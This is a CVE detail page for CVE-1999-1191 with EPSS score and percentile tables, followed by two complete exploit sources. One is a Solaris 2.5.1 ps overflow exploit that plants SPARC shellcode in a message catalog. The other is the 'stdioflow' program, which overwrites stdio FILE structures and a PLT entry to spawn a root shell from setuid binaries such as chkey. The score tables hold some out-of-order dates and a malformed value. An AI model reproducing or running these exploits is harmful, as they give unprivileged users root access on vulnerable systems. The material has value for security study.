CVE-1999-1191 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.05%	–
2024-02-11	–	–	–	0.05%	–
2024-02-25	–	–	–	0.05%	–
2024-03-31	–	–	–	0.05%	–
2024-04-21	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-07-28	–	–	–	0.05%	–
2024-11-24	–	–	–	0.05%	–
2024-12-22	–	–	–	0.13%	–
2025-03-09	–	–	–	0.13%	–
2025-01-19	–	–	–	0.13%	–
2025-03-09	–	–	–	0.13%	–
2025-03-18	–	–	–	–	0.21%
2025-03-30	–	–	–	–	0.25%
2025-04-06	–	–	–	–	0.25%
2025-04-14	–	–	–	–	0.25%
2025-04-15	–	–	–	–	0.25%
2025-04-15	–	–	–	–	0.25,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	13%
2024-02-11	12%
2024-02-25	13%
2024-03-31	14%
2024-04-21	14%
2024-06-02	16%
2024-07-28	17%
2024-11-24	18%
2024-12-22	49%
2025-03-09	5%
2025-01-19	49%
2025-03-09	5%
2025-03-18	41%
2025-03-30	45%
2025-04-06	46%
2025-04-14	45%
2025-04-15	48%
2025-04-15	48%

cat > ps_expl.po << E_O_F domain "SUNW_OST_OSCMD" msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n" msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010" E_O_F msgfmt -o /tmp/foo ps_expl.po # Build the C portion of the exploit cat > ps_expl.c << E_O_F /*****************************************/ /* Exploit for Solaris 2.5.1 /usr/bin/ps */ /* J. Zbiciak, 5/18/97 */ /*****************************************/ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH (632) #define EXTRA (256) int main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; /* ps will grok this file for the exploit code */ char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p; u_char *char_p; /* This will vary depending on your libc */ u_long *proc_link=0xef771408; int i; long_p = (u_long *) buf; /* This first loop smashes the target buffer for optargs */ for (i = 0; i < (96) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* At offset 96 is the environ ptr -- be careful not to mess it up */ *long_p++=0xeffffcb0; *long_p++=0xffffffff; /* After that is the _ctype table. Filling with 0x10101010 marks the entire character set as being "uppercase printable". */ for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */ /* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */ /* build up _iob[1] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */ /* build up _iob[2] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */ *long_p =0; /* The following includes the invalid argument '-z' to force the usage msg to appear after the arguments have been parsed. */ execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp); perror("execle failed"); return 0; } E_O_F # Compile it $CC -o ps_expl ps_expl.c # And off we go! exec ./ps_expl // milw0rm.com [1997-05-19]

/* source: https://www.securityfocus.com/bid/207/info The chkey program is used to change a users secure RPC Diffie-Hellman public key and secret key pair. A buffer overflow condition has been found in the chkey program. Since chkey has setuid root permissions, an unauthorized user may be able to gain root access. */ /* * stdioflow -- exploit for data overrun conditions * adam@math.tau.ac.il (Adam Morrison) * * This program causes programs which use stdio(3S) and have data buffer * overflow conditions to overwrite stdio's iob[] array of FILE structures * with malicious, buffered FILEs. Thus it is possible to get stdio to * overwrite arbitrary places in memory; specifically, it overwrites a * specific procedure linkage table entry with SPARC assembly code to * execute a shell. * * Using this program involves several steps. * * First, find a code path which leads to the use of stdout or stderr after * the buffer has been overwritten. The default case being * * strcpy(buffer, argv[0]); * / we gave it wrong arguments / * fprintf(stderr, "usage: %s ...\n", buffer); * exit(1); * * In this case you need to overwrite exit()'s PLT entry. * * Second, find out the address that the library that contains the PLT * you want to overwrite (in this case, it would be libc) gets mmapped() * to in the process' address space. You need it to calculate the * absolute of the PLT entry. (Doing this is left as an, uh, exercise * to the reader.) * * Finally, calculate the offset to take from the PLT entry -- you don't * want ``usage: '' in the table, but the instructions in ``%s''. In this * case, it would be 7. * * Then run it. */ #include <stdio.h> #include <fcntl.h> #include <string.h> #include <libelf.h> #include <sys/types.h> #include <sys/link.h> #define PLT_SYMBOL "_PROCEDURE_LINKAGE_TABLE_" u_int shellcode[] = { 0x821020ca, 0xa61cc013, 0x900cc013, 0x920cc013, 0xa604e001, 0x91d02008, 0x2d0bd89a, 0xac15a16e, 0x2f0bdcda, 0x900b800e, 0x9203a008, 0x941a800a, 0x9c03a010, 0xec3bbff0, 0xdc23bff8, 0xc023bffc, 0x8210203b, 0x91d02008, }; int shell_len = sizeof (shellcode) / sizeof (u_long); u_long meow = 0x6d656f77; char *prog; void elferr(void); u_long symval(char *, char *); u_long plt_offset(char *, char *); void usage() { fprintf(stderr, "usage: %s [options] buf(name or @address) libaddr program args\n", prog); fprintf(stderr, "options: [-l library] [-f function] [-o offset] [-e env]\n"); exit(1); } main(int argc, char **argv) { char *env = NULL; char *library = "/usr/lib/libc.so"; char *function = "_exithandle"; u_long off, uoff = 0; u_long libaddr, pltaddr, bufaddr, iobaddr; u_long pltent; char *prognam, *bufnam; int buflen; char *badbuf; u_long *bp; int c; extern char *optarg; extern int optind; char **arg0, **arg; prog = strrchr(argv[0], '/'); if (prog) ++prog; else prog = argv[0]; while ((c = getopt(argc, argv, "l:f:o:e:")) != EOF) switch (c) { case 'l': library = optarg; break; case 'f': function = optarg; break; case 'o': uoff = strtol(optarg, (char **)0, 0); break; case 'e': env = optarg; break; default: usage(); } if (argc - optind < 3) usage(); bufnam = argv[optind]; /* * This is the address that the library in which `function' * lives gets mapped to in the child address space. We could force * a non-privileged copy of `prognam' to dump core, and fish * out the memory mappings from the resulting core file; but this * is really something users should be able to do themselves. */ libaddr = strtoul(argv[optind+1], (char **)0, 0); if (libaddr == 0) { fprintf(stderr, "%s: impossible library virtual address: %s\n", prog, argv[optind+1]); exit(1); } printf("Using library %s at 0x%p\n", library, libaddr); prognam = argv[optind+2]; arg0 = &argv[optind+3]; /* * `pltaddr' is the offset at which the library's PLT will be * at from `libaddr'. */ pltaddr = symval(library, PLT_SYMBOL); if (pltaddr == 0) { fprintf(stderr, "%s: could not find PLT offset from library\n", prog); exit(1); } printf("Using PLT at 0x%p\n", pltaddr); /* * `off' is the offset from `pltaddr' in which the desired * function's PLT entry is. */ off = plt_offset(library, function); if (off == 0) { fprintf(stderr, "%s: impossible offset from PLT returned\n", prog); exit(1); } printf("Found %s at 0x%p\n", function, off); /* * `bufaddr' is the name (or address) of the buffer we want to * overflow. It's not a stack buffer, so finding it out is trivial. */ if (bufnam[0] == '@') bufaddr = strtol(&bufnam[1], (char **)0, 0); else bufaddr = symval(prognam, bufnam); if (bufaddr == 0) { fprintf(stderr, "%s: illegal buffer address: %s\n", prog, prognam); exit(1); } printf("Buffer at 0x%p\n", bufaddr); /* * `iobaddr' is obviously the address of the stdio(3) array. */ iobaddr = symval(prognam, "__iob"); if (iobaddr == 0) { fprintf(stderr, "%s: could not find iob[] in %s\n", prog, prognam); exit(1); } printf("iob[] at 0x%p\n", iobaddr); /* * This is the absolute address of the PLT entry we want to * overwrite. */ pltent = libaddr + pltaddr + off; buflen = iobaddr - bufaddr; if (buflen < shell_len) { fprintf(stderr, "%s: not enough space for shell code\n", prog); exit(1); } if (env) { buflen += strlen(env) + 5; if (buflen & 3) { fprintf(stderr, "%s: alignment problem\n", prog); exit(1); } } badbuf = (char *)malloc(buflen); if (badbuf == 0) { fprintf(stderr, "%s: out of memory\n", prog); exit(1); } if (env) { buflen -= (strlen(env) + 5); sprintf(badbuf, "%s=", env); bp = (u_long *)&badbuf[strlen(badbuf)]; } else bp = (u_long *)badbuf; buflen /= sizeof (*bp); for (c = 0; c < shell_len; c++) *bp++ = shellcode[c]; for (; c < buflen; c++) *bp++ = meow; /* * stdin -- whatever */ *bp++ = -29; *bp++ = 0xef7d7310; *bp++ = 0xef7d7310 - 29; *bp++ = 0x0101ffff; /* * stdout */ *bp++ = -29; *bp++ = pltent - uoff; *bp++ = pltent - 29; *bp++ = 0x0201ffff; /* * stderr */ *bp++ = -29; *bp++ = pltent - uoff; *bp++ = pltent - 29; *bp++ = 0x0202ffff; *bp++ = 0; printf("Using absolute address 0x%p\n", pltent - uoff); /* * Almost ready to do the exec() */ if (env) putenv(badbuf); else for (arg = arg0; arg && *arg; arg++) { if (strcmp(*arg, "%s") == 0) *arg = badbuf; } printf("Using %d bytes\n", buflen*4); if (execv(prognam, arg0) < 0) { perror("execv"); exit(1); } } u_long symval(char *lib, char *name) { int fd; int i, nsym; u_long addr = 0; Elf32_Shdr *shdr; Elf *elf; Elf_Scn *scn = (Elf_Scn *)0; Elf32_Ehdr *ehdr; Elf_Data *dp; Elf32_Sym *symbol; char *np; fd = open(lib, O_RDONLY); if (fd < 0) { perror("open"); exit(1); } /* Initializations, see elf(3E) */ (void) elf_version(EV_CURRENT); elf = elf_begin(fd, ELF_C_READ, 0); if (elf == (Elf *)0) elferr(); ehdr = elf32_getehdr(elf); if (ehdr == (Elf32_Ehdr*)0) elferr(); /* * Loop through sections looking for the dynamic symbol table. */ while ((scn = elf_nextscn(elf, scn))) { shdr = elf32_getshdr(scn); if (shdr == (Elf32_Shdr *)0) elferr(); if (shdr->sh_type == SHT_DYNSYM) break; } if (scn == (Elf_Scn *)0) { fprintf(stderr, "%s: dynamic symbol table not found\n", prog); exit(1); } dp = elf_getdata(scn, (Elf_Data *)0); if (dp == (Elf_Data *)0) elferr(); if (dp->d_size == 0) { fprintf(stderr, "%s: .dynamic symbol table empty\n", prog); exit(1); } symbol = (Elf32_Sym *)dp->d_buf; nsym = dp->d_size / sizeof (*symbol); for (i = 0; i < nsym; i++) { np = elf_strptr(elf, shdr->sh_link, (size_t) symbol[i].st_name); if (np && !strcmp(np, name)) break; } if (i < nsym) addr = symbol[i].st_value; (void) elf_end(elf); (void) close(fd); return (addr); } u_long plt_offset(char *lib, char *func) { int fd; Elf *elf; Elf_Scn *scn = (Elf_Scn *)0; Elf_Data *dp; Elf32_Ehdr *ehdr; Elf32_Rela *relocp = (Elf32_Rela *)0; Elf32_Word pltsz = 0; Elf32_Shdr *shdr; Elf_Scn *symtab; Elf32_Sym *symbols; char *np; u_long offset = 0; u_long plt; fd = open(lib, O_RDONLY); if (fd < 0) { perror("open"); exit(1); } /* Initializations, see elf(3E) */ (void) elf_version(EV_CURRENT); elf = elf_begin(fd, ELF_C_READ, 0); if (elf == (Elf *)0) elferr(); ehdr = elf32_getehdr(elf); if (ehdr == (Elf32_Ehdr *)0) elferr(); /* * Loop through sections looking for the relocation entries * associated with the procedure linkage table. */ while ((scn = elf_nextscn(elf, scn))) { shdr = elf32_getshdr(scn); if (shdr == (Elf32_Shdr *)0) elferr(); if (shdr->sh_type == SHT_RELA) { np = elf_strptr(elf, ehdr->e_shstrndx, (size_t) shdr->sh_name); if (np && !strcmp(np, ".rela.plt")) break; } } if (scn == (Elf_Scn *)0) { fprintf(stderr, "%s: .rela.plt section not found\n", prog); exit(1); } dp = elf_getdata(scn, (Elf_Data *)0); if (dp == (Elf_Data *)0) elferr(); if (dp->d_size == 0) { fprintf(stderr, "%s: .rela.plt section empty\n", prog); exit(1); } /* * The .rela.plt section contains an array of relocation entries, * the first 4 are not used. */ relocp = (Elf32_Rela *)dp->d_buf; pltsz = dp->d_size / sizeof (*relocp); relocp += 4; pltsz -= 4; /* * Find the symbol table associated with this section. */ symtab = elf_getscn(elf, shdr->sh_link); if (symtab == (Elf_Scn *)0) elferr(); shdr = elf32_getshdr(symtab); if (shdr == (Elf32_Shdr *)0) elferr(); dp = elf_getdata(symtab, (Elf_Data *)0); if (dp == (Elf_Data *)0) elferr(); if (dp->d_size == 0) { fprintf(stderr, "%s: dynamic symbol table empty\n", prog); exit(1); } symbols = (Elf32_Sym *)dp->d_buf; /* * Loop through the relocation list, looking for the desired * symbol. */ while (pltsz-- > 0) { Elf32_Word ndx = ELF32_R_SYM(relocp->r_info); np = elf_strptr(elf, shdr->sh_link, (size_t) symbols[ndx].st_name); if (np && !strcmp(np, func)) break; relocp++; } if (relocp) { plt = symval(lib, PLT_SYMBOL); offset = relocp->r_offset - plt; } (void) elf_end(elf); (void) close(fd); return (offset); } void elferr() { fprintf(stderr, "%s: %s\n", prog, elf_errmsg(elf_errno())); exit(1); }